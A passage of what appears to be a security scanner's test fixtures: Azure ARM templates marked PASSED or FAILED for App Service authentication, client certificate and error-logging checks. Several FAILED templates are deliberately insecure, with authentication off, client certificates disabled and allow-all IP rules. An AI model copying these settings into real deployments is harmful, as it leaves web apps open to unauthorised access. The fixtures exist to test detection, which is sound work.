\"[parameters('location')]\",\n      \"kind\": \"app\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\"\n      ],\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\",\n        \"siteConfig\": {\n          \"linuxFxVersion\": \"[parameters('linuxFxVersion')]\"\n        }\n      },\n      \"resources\": [\n        {\n          \"type\": \"config\",\n          \"apiVersion\": \"2019-08-01\",\n          \"name\": \"authsettings\",\n          \"properties\": {\n            \"enabled\": false\n          }\n        }\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceAuthentication/appServiceAuthentication-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\" : \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\":{\n      \"type\": \"string\",\n      \"defaultValue\" : \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\" : {\n      \"type\": \"string\",\n      \"defaultValue\" : \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"apiVersion\": \"2018-02-01\",\n      \"name\": \"[variables('appServicePlanName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\"\n      },\n      \"kind\": \"linux\",\n      \"properties\":{\n        \"reserved\":true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"[variables('webAppPortalName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"app\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\"\n      ],\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\",\n        \"siteConfig\": {\n          \"linuxFxVersion\": \"[parameters('linuxFxVersion')]\"\n        }\n      },\n      \"resources\": [\n        {\n          \"type\": \"config\",\n          \"apiVersion\": \"2019-08-01\",\n          \"name\": \"authsettings\",\n          \"properties\": {\n            \"enabled\": true\n          }\n        }\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceAuthentication/appServiceAuthentication-PASSED2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\" : \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\":{\n      \"type\": \"string\",\n      \"defaultValue\" : \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\" : {\n      \"type\": \"string\",\n      \"defaultValue\" : \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"apiVersion\": \"2018-02-01\",\n      \"name\": \"[variables('appServicePlanName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\"\n      },\n      \"kind\": \"linux\",\n      \"properties\":{\n        \"reserved\":true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"[variables('webAppPortalName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"app\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\"\n      ],\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\",\n        \"siteConfig\": {\n          \"linuxFxVersion\": \"[parameters('linuxFxVersion')]\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Web/sites/config\",\n      \"apiVersion\": \"2019-08-01\",\n      \"location\": \"[variables('location')]\",\n      \"name\": \"[concat(variables('webAppPortalName'), '/authsettings')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/sites', variables('webAppPortalName'))]\"\n      ],\n      \"properties\": {\n        \"enabled\": \"true\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceClientCertificate/appServiceClientCertificate-FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\" : \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\":{\n      \"type\": \"string\",\n      \"defaultValue\" : \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\" : {\n      \"type\": \"string\",\n      \"defaultValue\" : \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"apiVersion\": \"2018-02-01\",\n      \"name\": \"[variables('appServicePlanName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\"\n      },\n      \"kind\": \"linux\",\n      \"properties\":{\n        \"reserved\":true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"[variables('webAppPortalName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"app\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\"\n      ],\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\",\n        \"siteConfig\": {\n          \"linuxFxVersion\": \"[parameters('linuxFxVersion')]\"\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceClientCertificate/appServiceClientCertificate-FAILED2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\" : \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\":{\n      \"type\": \"string\",\n      \"defaultValue\" : \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\" : {\n      \"type\": \"string\",\n      \"defaultValue\" : \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"apiVersion\": \"2018-02-01\",\n      \"name\": \"[variables('appServicePlanName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\"\n      },\n      \"kind\": \"linux\",\n      \"properties\":{\n        \"reserved\":true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"[variables('webAppPortalName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"app\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\"\n      ],\n      \"identity\": {\n        \"type\": \"SystemAssigned\"\n      },\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\",\n        \"siteConfig\": {\n          \"linuxFxVersion\": \"[parameters('linuxFxVersion')]\"\n        },\n        \"clientCertEnabled\": false\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceClientCertificate/appServiceClientCertificate-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\" : \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\":{\n      \"type\": \"string\",\n      \"defaultValue\" : \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\" : {\n      \"type\": \"string\",\n      \"defaultValue\" : \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"apiVersion\": \"2018-02-01\",\n      \"name\": \"[variables('appServicePlanName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\"\n      },\n      \"kind\": \"linux\",\n      \"properties\":{\n        \"reserved\":true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"[variables('webAppPortalName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"app\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\"\n      ],\n      \"identity\": {\n        \"type\": \"SystemAssigned\"\n      },\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\",\n        \"siteConfig\": {\n          \"linuxFxVersion\": \"[parameters('linuxFxVersion')]\"\n        },\n        \"clientCertEnabled\": true\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceClientCertificate/appServiceClientCertificate-PASSED2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\" : \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\":{\n      \"type\": \"string\",\n      \"defaultValue\" : \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\" : {\n      \"type\": \"string\",\n      \"defaultValue\" : \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"apiVersion\": \"2018-02-01\",\n      \"name\": \"[variables('appServicePlanName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\"\n      },\n      \"kind\": \"linux\",\n      \"properties\":{\n        \"reserved\":true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"[variables('webAppPortalName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"app\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\"\n      ],\n      \"identity\": {\n        \"type\": \"SystemAssigned\"\n      },\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\",\n        \"siteConfig\": {\n          \"linuxFxVersion\": \"[parameters('linuxFxVersion')]\"\n        },\n        \"clientCertEnabled\": \"true\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceDetailedErrorMessagesEnabled/AppServiceDetailedErrorMessagesEnabled-failed.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"sites_pike_name\": {\n            \"defaultValue\": \"pike\",\n            \"type\": \"String\"\n        },\n        \"serverfarms_example_serviceplan_externalid\": {\n            \"defaultValue\": \"/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/test/providers/Microsoft.Web/serverfarms/example-serviceplan\",\n            \"type\": \"String\"\n        }\n    },\n    \"variables\": {},\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.Web/sites\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[parameters('sites_pike_name')]\",\n            \"location\": \"UK South\",\n            \"kind\": \"app,linux\",\n            \"identity\": {\n                \"type\": \"SystemAssigned\"\n            },\n            \"properties\": {\n                \"enabled\": true,\n                \"hostNameSslStates\": [\n                    {\n                        \"name\": \"[concat(parameters('sites_pike_name'), '.azurewebsites.net')]\",\n                        \"sslState\": \"Disabled\",\n                        \"hostType\": \"Standard\"\n                    },\n                    {\n                        \"name\": \"[concat(parameters('sites_pike_name'), '.scm.azurewebsites.net')]\",\n                        \"sslState\": \"Disabled\",\n                        \"hostType\": \"Repository\"\n                    }\n                ],\n                \"serverFarmId\": \"[parameters('serverfarms_example_serviceplan_externalid')]\",\n                \"reserved\": true,\n                \"isXenon\": false,\n                \"hyperV\": false,\n                \"vnetRouteAllEnabled\": false,\n                \"vnetImagePullEnabled\": false,\n                \"vnetContentShareEnabled\": false,\n                \"siteConfig\": {\n                    \"numberOfWorkers\": 1,\n                    \"acrUseManagedIdentityCreds\": false,\n                    \"alwaysOn\": false,\n                    \"http20Enabled\": true,\n                    \"functionAppScaleLimit\": 0,\n                    \"minimumElasticInstanceCount\": 0\n                },\n                \"scmSiteAlsoStopped\": false,\n                \"clientAffinityEnabled\": false,\n                \"clientCertEnabled\": true,\n                \"clientCertMode\": \"Required\",\n                \"hostNamesDisabled\": false,\n                \"customDomainVerificationId\": \"B37B5768F8409B36E596577BDBC882653FCC6A7FD697EBEE151AB7C532C897E5\",\n                \"containerSize\": 0,\n                \"dailyMemoryTimeQuota\": 0,\n                \"httpsOnly\": true,\n                \"redundancyMode\": \"None\",\n                \"storageAccountRequired\": false,\n                \"keyVaultReferenceIdentity\": \"SystemAssigned\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/basicPublishingCredentialsPolicies\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[concat(parameters('sites_pike_name'), '/ftp')]\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"allow\": true\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/basicPublishingCredentialsPolicies\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[concat(parameters('sites_pike_name'), '/scm')]\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"allow\": true\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/config\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"failed\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"numberOfWorkers\": 1,\n                \"defaultDocuments\": [],\n                \"netFrameworkVersion\": \"v4.0\",\n                \"requestTracingEnabled\": false,\n                \"requestTracingExpirationTime\": \"9999-12-31T23:59:00Z\",\n                \"remoteDebuggingEnabled\": false,\n                \"remoteDebuggingVersion\": \"VS2019\",\n                \"httpLoggingEnabled\": true,\n                \"acrUseManagedIdentityCreds\": false,\n                \"logsDirectorySizeLimit\": 25,\n                \"detailedErrorLoggingEnabled\": false,\n                \"publishingUsername\": \"$pike\",\n                \"scmType\": \"None\",\n                \"use32BitWorkerProcess\": false,\n                \"webSocketsEnabled\": false,\n                \"alwaysOn\": false,\n                \"managedPipelineMode\": \"Integrated\",\n                \"virtualApplications\": [\n                    {\n                        \"virtualPath\": \"/\",\n                        \"physicalPath\": \"site\\\\wwwroot\",\n                        \"preloadEnabled\": false\n                    }\n                ],\n                \"loadBalancing\": \"LeastRequests\",\n                \"experiments\": {\n                    \"rampUpRules\": []\n                },\n                \"autoHealEnabled\": false,\n                \"vnetRouteAllEnabled\": false,\n                \"vnetPrivatePortsCount\": 0,\n                \"cors\": {\n                    \"supportCredentials\": false\n                },\n                \"localMySqlEnabled\": false,\n                \"managedServiceIdentityId\": 484,\n                \"ipSecurityRestrictions\": [\n                    {\n                        \"ipAddress\": \"Any\",\n                        \"action\": \"Allow\",\n                        \"priority\": 2147483647,\n                        \"name\": \"Allow all\",\n                        \"description\": \"Allow all access\"\n                    }\n                ],\n                \"scmIpSecurityRestrictions\": [\n                    {\n                        \"ipAddress\": \"Any\",\n                        \"action\": \"Allow\",\n                        \"priority\": 2147483647,\n                        \"name\": \"Allow all\",\n                        \"description\": \"Allow all access\"\n                    }\n                ],\n                \"scmIpSecurityRestrictionsUseMain\": false,\n                \"http20Enabled\": true,\n                \"minTlsVersion\": \"1.2\",\n                \"scmMinTlsVersion\": \"1.2\",\n                \"ftpsState\": \"FtpsOnly\",\n                \"preWarmedInstanceCount\": 0,\n                \"elasticWebAppScaleLimit\": 0,\n                \"healthCheckPath\": \"/health\",\n                \"functionsRuntimeScaleMonitoringEnabled\": false,\n                \"minimumElasticInstanceCount\": 0,\n                \"azureStorageAccounts\": {\n                    \"shady\": {\n                        \"type\": \"AzureBlob\",\n                        \"accountName\": \"piketest\",\n                        \"shareName\": \"pike\",\n                        \"mountPath\": \"/mount/shady\"\n                    }\n                }\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/hostNameBindings\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[concat(parameters('sites_pike_name'), '/', parameters('sites_pike_name'), '.azurewebsites.net')]\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"siteName\": \"pike\",\n                \"hostNameType\": \"Verified\"\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceDetailedErrorMessagesEnabled/AppServiceDetailedErrorMessagesEnabled-failed2.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"sites_pike_name\": {\n            \"defaultValue\": \"pike\",\n            \"type\": \"String\"\n        },\n        \"serverfarms_example_serviceplan_externalid\": {\n            \"defaultValue\": \"/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/test/providers/Microsoft.Web/serverfarms/example-serviceplan\",\n            \"type\": \"String\"\n        }\n    },\n    \"variables\": {},\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.Web/sites\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[parameters('sites_pike_name')]\",\n            \"location\": \"UK South\",\n            \"kind\": \"app,linux\",\n            \"identity\": {\n                \"type\": \"SystemAssigned\"\n            },\n            \"properties\": {\n                \"enabled\": true,\n                \"hostNameSslStates\": [\n                    {\n                        \"name\": \"[concat(parameters('sites_pike_name'), '.azurewebsites.net')]\",\n                        \"sslState\": \"Disabled\",\n                        \"hostType\": \"Standard\"\n                    },\n                    {\n                        \"name\": \"[concat(parameters('sites_pike_name'), '.scm.azurewebsites.net')]\",\n                        \"sslState\": \"Disabled\",\n                        \"hostType\": \"Repository\"\n                    }\n                ],\n                \"serverFarmId\": \"[parameters('serverfarms_example_serviceplan_externalid')]\",\n                \"reserved\": true,\n                \"isXenon\": false,\n                \"hyperV\": false,\n                \"vnetRouteAllEnabled\": false,\n                \"vnetImagePullEnabled\": false,\n                \"vnetContentShareEnabled\": false,\n                \"siteConfig\": {\n                    \"numberOfWorkers\": 1,\n                    \"acrUseManagedIdentityCreds\": false,\n                    \"alwaysOn\": false,\n                    \"http20Enabled\": true,\n                    \"functionAppScaleLimit\": 0,\n                    \"minimumElasticInstanceCount\": 0\n                },\n                \"scmSiteAlsoStopped\": false,\n                \"clientAffinityEnabled\": false,\n                \"clientCertEnabled\": true,\n                \"clientCertMode\": \"Required\",\n                \"hostNamesDisabled\": false,\n                \"customDomainVerificationId\": \"B37B5768F8409B36E596577BDBC882653FCC6A7FD697EBEE151AB7C532C897E5\",\n                \"containerSize\": 0,\n                \"dailyMemoryTimeQuota\": 0,\n                \"httpsOnly\": true,\n                \"redundancyMode\": \"None\",\n                \"storageAccountRequired\": false,\n                \"keyVaultReferenceIdentity\": \"SystemAssigned\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/basicPublishingCredentialsPolicies\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[concat(parameters('sites_pike_name'), '/ftp')]\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"allow\": true\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/basicPublishingCredentialsPolicies\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[concat(parameters('sites_pike_name'), '/scm')]\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"allow\": true\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/config\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"failed2\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"numberOfWorkers\": 1,\n                \"defaultDocuments\": [],\n                \"netFrameworkVersion\": \"v4.0\",\n                \"requestTracingEnabled\": false,\n                \"requestTracingExpirationTime\": \"9999-12-31T23:59:00Z\",\n                \"remoteDebuggingEnabled\": false,\n                \"remoteDebuggingVersion\": \"VS2019\",\n                \"httpLoggingEnabled\": true,\n                \"acrUseManagedIdentityCreds\": false,\n                \"logsDirectorySizeLimit\": 25,\n                \"publishingUsername\": \"$pike\",\n                \"scmType\": \"None\",\n                \"use32BitWorkerProcess\": false,\n                \"webSocketsEnabled\": false,\n                \"alwaysOn\": false,\n                \"managedPipelineMode\": \"Integrated\",\n                \"virtualApplications\": [\n                    {\n                        \"virtualPath\": \"/\",\n                        \"physicalPath\": \"site\\\\wwwroot\",\n                        \"preloadEnabled\": false\n                    }\n                ],\n                \"loadBalancing\": \"LeastRequests\",\n                \"experiments\": {\n                    \"rampUpRules\": []\n                },\n                \"autoHealEnabled\": false,\n                \"vnetRouteAllEnabled\": false,\n                \"vnetPrivatePortsCount\": 0,\n                \"cors\": {\n                    \"supportCredentials\": false\n                },\n                \"localMySqlEnabled\": false,\n                \"managedServiceIdentityId\": 484,\n                \"ipSecurityRestrictions\": [\n                    {\n                        \"ipAddress\": \"Any\",\n                        \"action\": \"Allow\",\n                        \"priority\": 2147483647,\n                        \"name\": \"Allow all\",\n                        \"description\": \"Allow all access\"\n                    }\n                ],\n                \"scmIpSecurityRestrictions\": [\n                    {\n                        \"ipAddress\": \"Any\",\n                        \"action\": \"Allow\",\n                        \"priority\": 2147483647,\n                        \"name\": \"Allow all\",\n                        \"description\": \"Allow all access\"\n                    }\n                ],\n                \"scmIpSecurityRestrictionsUseMain\": false,\n                \"http20Enabled\": true,\n                \"minTlsVersion\": \"1.2\",\n                \"scmMinTlsVersion\": \"1.2\",\n                \"ftpsState\": \"FtpsOnly\",\n                \"preWarmedInstanceCount\": 0,\n                \"elasticWebAppScaleLimit\": 0,\n                \"healthCheckPath\": \"/health\",\n                \"functionsRuntimeScaleMonitoringEnabled\": false,\n                \"minimumElasticInstanceCount\": 0,\n                \"azureStorageAccounts\": {\n                    \"shady\": {\n                        \"type\": \"AzureBlob\",\n                        \"accountName\": \"piketest\",\n                        \"shareName\": \"pike\",\n                        \"mountPath\": \"/mount/shady\"\n                    }\n                }\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/hostNameBindings\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[concat(parameters('sites_pike_name'), '/', parameters('sites_pike_name'), '.azurewebsites.net')]\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"siteName\": \"pike\",\n                \"hostNameType\": \"Verified\"\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceDetailedErrorMessagesEnabled/AppServiceDetailedErrorMessagesEnabled-passed.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"sites_pike_name\": {\n            \"defaultValue\": \"pike\",\n            \"type\": \"String\"\n        },\n        \"serverfarms_example_serviceplan_externalid\": {\n            \"defaultValue\": \"/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/test/providers/Microsoft.Web/serverfarms/example-serviceplan\",\n            \"type\": \"String\"\n        }\n    },\n    \"variables\": {},\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.Web/sites\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[parameters('sites_pike_name')]\",\n            \"location\": \"UK South\",\n            \"kind\": \"app,linux\",\n            \"identity\": {\n                \"type\": \"SystemAssigned\"\n            },\n            \"properties\": {\n                \"enabled\": true,\n                \"hostNameSslStates\": [\n                    {\n                        \"name\": \"[concat(parameters('sites_pike_name'), '.azurewebsites.net')]\",\n                        \"sslState\": \"Disabled\",\n                        \"hostType\": \"Standard\"\n                    },\n                    {\n                        \"name\": \"[concat(parameters('sites_pike_name'), '.scm.azurewebsites.net')]\",\n                        \"sslState\": \"Disabled\",\n                        \"hostType\": \"Repository\"\n                    }\n                ],\n                \"serverFarmId\": \"[parameters('serverfarms_example_serviceplan_externalid')]\",\n                \"reserved\": true,\n                \"isXenon\": false,\n                \"hyperV\": false,\n                \"vnetRouteAllEnabled\": false,\n                \"vnetImagePullEnabled\": false,\n                \"vnetContentShareEnabled\": false,\n                \"siteConfig\": {\n                    \"numberOfWorkers\": 1,\n                    \"acrUseManagedIdentityCreds\": false,\n                    \"alwaysOn\": false,\n                    \"http20Enabled\": true,\n                    \"functionAppScaleLimit\": 0,\n                    \"minimumElasticInstanceCount\": 0\n                },\n                \"scmSiteAlsoStopped\": false,\n                \"clientAffinityEnabled\": false,\n                